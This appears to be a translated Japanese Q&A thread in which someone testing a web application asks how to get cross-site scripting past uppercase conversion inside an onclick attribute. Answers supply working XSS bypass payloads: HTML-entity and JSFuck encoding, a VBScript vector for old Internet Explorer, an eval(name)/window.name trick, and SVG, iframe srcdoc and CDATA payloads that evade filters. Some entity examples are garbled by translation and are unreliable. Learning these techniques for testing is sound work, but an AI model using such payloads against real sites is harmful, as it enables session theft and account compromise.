私はWebアプリケーションをテストしています。Webアプリケーションに入力データを送信すると、次のようなonclick
関数にデータが配置されます。
_<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>
_
しかし、Webアプリケーションはそのデータを小文字から大文字に変換し、dataFromServer
を','0');alert('XSS');someFunction('
に置き換えると、次の結果が得られます。
_<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>
_
つまり、ブラウザで「アラートが定義されていません」と表示されるため、私のXSSエクスプロイトは機能しません。FirefoxとIEでテストしました。
この場合、XSSを実行する方法はありますか?
アンパサンドと数字を使用して文字をエンコードできます(htmlエンコード)。 a = A
またはe
等々。
JavaScriptコードは、英数字を使用せずにエンコードできます。これを行う最も簡単な方法は、以下をチェックアウトすることです。 http://www.jsfuck.com/ このサイトでエンコードできます。
アプリケーションのユーザーベースに応じて、これを行う方法が1つ(旧式)あり、ケースに関連する場合とそうでない場合があります。
VBScriptはInternet Explorer 10以前で問題なく動作し、大文字と小文字を区別しないため、次のようなものです
<IMG SRC='vbscript:msgbox("XSS")'>
うまくいくかもしれません。
あなたの例では、すでにHTML属性コンテキストにいるので、ペイロードをHTMLエンコードできるだけです。ブラウザはそれをJavaScriptエンジンに渡す前にデコードします。
_onclick="alert(1)"
_をクリックすると、alert(1)が実行されます。
100文字の長さ制限がある場合は、次のpyaloadを使用できます。
eval(name)
はeval(name)
に変換されます
たとえばa-tagのtarget属性を介して、名前またはwindow.nameを設定できます。
<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>
他の3つの例:
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
_<svg><script>alert(1)</script></svg>
_">`]]>-alert(1)</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[
_最後の1つは、ページに二重反射が含まれている場合に機能し、ブラウザーのXSSフィルターをバイパスします。
注:_alert(1)
_ = alert(1)(HTML/XMLエンティティがデコードされた場合)